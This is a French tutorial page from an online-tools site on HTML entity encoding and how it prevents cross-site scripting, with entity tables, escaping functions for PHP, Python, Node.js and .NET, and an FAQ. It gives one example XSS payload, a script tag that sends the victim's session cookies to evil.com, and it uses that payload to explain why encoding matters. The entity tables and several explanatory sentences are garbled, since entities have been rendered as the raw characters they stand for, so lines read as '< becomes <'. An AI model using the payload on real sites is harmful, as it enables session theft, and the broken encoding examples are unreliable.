Entités HTML et échappement : comment un codage approprié empêche les attaques XSS

Le codage d'entité HTML convertit les caractères spéciaux (<, >, &, ", ') en représentations sécurisées (< > & " '). Cela empêche les attaques Cross-Site Scripting (XSS) lors de l'affichage des entrées utilisateur dans les pages Web.

HTML entities encoding preventing XSS injection with special character conversion diagram

Que sont les entités HTML ?

Browser DOM parser execution difference between innerHTML and safe textContent

Core XML and HTML escape entities table showing less-than, greater-than, ampersand, and quotes

Les entités HTML sont des représentations de caractères qui ont une signification particulière dans le balisage HTML. Les cinq caractères les plus critiques à encoder :

PersonnageEntité HTMLEntité nomméePourquoi Dangereux
<<<Ouvre HTML balises
>>>Ferme HTML tags
&& &Démarre entité références
"&qu ot;"Ferme attribut valeurs
'' 'Ferme valeurs d'attribut

Entités d'affichage communes :

PersonnageHTML EntitéSignification
©©Droits d'auteur
®®Inscrit marque commerciale
™™Tr une marque
→→Droite flèche
←←Gauche arrow
••Bu llet
——Em tiret
––Fr tiret
  Incassable espace
€€Euro signe

Comment fonctionnent les attaques XSS et comment l'encodage les empêche

Cross-Site Scripting XSS attack surface architecture showing reflected, stored, and DOM vectors

Le

Cross-Site Scripting (XSS) est l'une des vulnérabilités Web les plus courantes. Cela se produit lorsque des données contrôlées par un attaquant sont affichées dans une page Web sans être correctement échappées.

Exemple de vulnérabilité : Une page de recherche affiche : "Vous avez recherché : [entrée utilisateur]" L'attaquant soumet : <script>document.location='https://evil.com/?cookies='+document.cookie</script> Sans encodage, le Le navigateur exécute ce script et vole les cookies de session.

Avec un encodage d'entité HTML approprié : Le < devient < et > devient >. Le navigateur affiche le texte brut plutôt que de l'exécuter sous forme de code.

Pourquoi est-ce important : Le rapport annuel de l'OWASP classe systématiquement XSS parmi les 10 principales vulnérabilités Web. Des violations majeures ont exploité XSS pour voler des jetons de session, dégrader des sites Web et rediriger les utilisateurs vers des sites malveillants.


Encodage et décodage d'entités HTML sur ToolDolfen

Safe versus unsafe HTML code execution and rendering benchmark

ToolDolfen in-browser HTML entity encoder and decoder client-side workflow

Utilisez l'outil Encodeur d’Entités HTML pour :

  1. Encoder le HTML : Collez le contenu soumis par l'utilisateur, les réponses de l'API ou toute chaîne qui sera affichée dans un document HTML. L'outil convertit tous les caractères dangereux en références d'entités sûres.
  1. Décoder les entités : Collez le code HTML encodé par entité pour voir les caractères d'origine – utile lors du débogage du contenu échappé dans les réponses d'API ou les moteurs de modèles.

Dans le code : Les frameworks backend appropriés fournissent des fonctions d'encodage HTML intégrées :

  • PHP : htmlspecialchars($text, ENT_QUOTES, 'UTF-8')
  • Python : html.escape(text)
  • Node.js : utilisez une bibliothèque comme he ou entités
  • .NET : HttpUtility.HtmlEncode(text)

Guides complémentaires recommandés

Explorez les didacticiels et utilitaires complémentaires de ce groupe de sujets pour améliorer votre flux de travail numérique :

Conversion de CSV en JSON : analyse de type, objets imbriqués et gestion des en-têtesTutoriel pratique étape par étape avec des normes vérifiées et intégré au navigateur workflows.Conversion de JSON imbriqué en CSV plat : gestion de structures de données complexesTutoriel pratique étape par étape avec des normes vérifiées et intégré au navigateur workflows.Le guide Favicon moderne : manifestes ICO, PNG, SVG et Web AppTutoriel pratique étape par étape avec des normes vérifiées et intégré au navigateur workflows.OCR : comment la reconnaissance optique de caractères extrait le texte des images et des PDFFlux de travail multiformat complémentaire reliant les données et les médias associés outils.
Utilitaire recommandé : Encodeur d'entités HTMLExécutez ce flux de travail en direct dans votre navigateur sans téléchargement sur le serveur et avec 100 % de confidentialité côté client.
Encodeur d’Entités HTML
Encodeur d’Entités HTML

Foire Aux Questions

Trouvez des réponses rapides et vérifiées aux questions fréquentes sur ce flux de travail.

Quelle est l'entité HTML du symbole de droit d'auteur ?

© ou © produit le symbole de droit d'auteur ©. L'entité nommée (©) et l'entité numérique (©) fonctionnent dans tous les navigateurs.

Le codage d’entité HTML est-il le même que le codage d’URL ?

Non. Le codage d'entité HTML convertit les caractères pour un affichage sécurisé dans les documents HTML (< = <). Le codage d'URL (codage en pourcentage) convertit les caractères pour une utilisation sûre dans les URL (%3C = <). Les deux convertissent les mêmes caractères mais utilisent une notation et des contextes différents.

Les frameworks JavaScript modernes échappent-ils automatiquement au HTML ?

Oui — React, Vue, Angular et Svelte échappent tous au HTML par défaut lors du rendu du contenu textuel. C'est pourquoi les attaques XSS sur les SPA modernes sont moins courantes. Cependant, l'utilisation de innerHTML, dangereusementSetInnerHTML (React) ou v-html (Vue) contourne cette protection.

Bilal Ahmad